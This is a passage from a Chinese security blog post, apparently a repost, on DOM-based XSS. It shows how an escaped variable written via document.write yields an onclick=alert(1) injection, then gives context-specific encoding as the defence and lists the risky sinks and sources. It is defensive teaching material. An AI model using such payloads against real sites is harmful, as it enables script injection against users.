    变量$var输出在<script>标签内,可是最后又被document.write输出到HTML页面中。 
    假设为了保护$var直接在<script>标签内产生XSS,服务器端对齐进行了JavascriptEscape。可是$var在document.write时,仍然能够产生XSS,如下所示:

    <script> var x="x20x27onlickx3dalertx281x29x3b..."; document.write("test"); </script>

    页面渲染之后的实际结果如下: 
    XSS攻击成功。 
    其原因在于,第一次执行JavascriptEscape后,只保护了: 
    var x="$var"; 
    但是当document.write输出数据到HTML页面时,浏览器重新渲染了页面。在<script>标签执行时,已经对变量x进行了解码,其后document.write再运行时,其参数就变成了: 
    <a href='http://cracer.com/blog/ 'onclick=alert(1);//' ' >test</a> 
    XSS因此而产生。 
    如果改成HtmlEncode也是如此。 
    正确的防御方法是什么呢? 
    首先,在$var输出到<script>时,应该执行一次javascriptEncode;其次,在document.write输出到HTML页面时,要分具体情况看待:如果是输出到事件或者脚本,则要再做一 
    javascriptEncode;如果是输出到HTML内容或者属性,则要做一次HtmlEncode。 
    也就是说,从JavaScript输出到HTML页面,也相当于一次XSS输出的过程,需要分语境使用不同的编码函数。 
    会触发DOM Based XSS的地方很多,以下几个地方是JavaScript输出到HTML页面的必经之路。 
    a) document.write() document.writeln() 
    b) xxx.innerHTML= xxx.outerHTML= 
    c) innerHTML.replace 
    d) document.attachEvent() window.attachEvent() 
    e) document.location.replace() document.location.assign() 
    … 
    除了服务器端直接输出变量到Javascript之外,还有以下几个地方可能会成为DOM Based XSS的输入点,也需要重点关注。 
    a) 页面中所有的inputs框 
    b) window.location(href、hash等) 
    c) window.name 
    d) document.referrer 
    e) document.cookie 
    f) localstorage 
    g) XMLHttpRequest返回的数据

    换个角度看XSS的风险

    从业务角度看XSS风险,用户之间有互动的页面的风险肯定比没有互动的页面的风险高。应重点修补风险高的页面。 
    理论上,XSS漏洞虽然复杂,但却是可以彻底解决的。在设计XSS解决方案时,应该深入理解XSS攻击的原理,针对不同的场景使用不同的方法。同时有很多开源项目为我们提供了参考。

    转载请注明来自Cracer,本文标题:《XSS漏洞总结》

    我不怕千万人阻挡,只怕自己投降。
     
    标签: xss
  • 相关阅读:
    css重点章节复习—布局-边框-边距-浮动 (部分)
    (重点章节复习以及代码调整笔记)选择器:伪类和伪元素选择器(部分)
    css015 定位网页上的元素
    css014 响应式web设计
    3.MFC基础(三)消息映射
    2.MFC基础(二)窗口创建
    1.MFC基础(一)程序流程
    27.windows线程
    26.windows进程
    25.windows内存管理
  • 原文地址:https://www.cnblogs.com/yf2196717/p/11881158.html
Copyright © 2011-2022 走看看